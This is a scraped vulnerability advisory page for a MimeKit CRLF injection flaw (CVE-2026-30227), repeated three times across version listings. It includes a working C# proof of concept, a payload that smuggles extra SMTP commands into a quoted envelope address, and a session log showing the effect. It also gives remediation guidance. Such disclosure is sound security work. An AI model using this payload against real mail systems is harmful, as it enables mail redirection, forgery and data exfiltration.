tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Jun 25, 2025

4.12.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Apr 29, 2025

4.11.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Mar 08, 2025

4.10.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

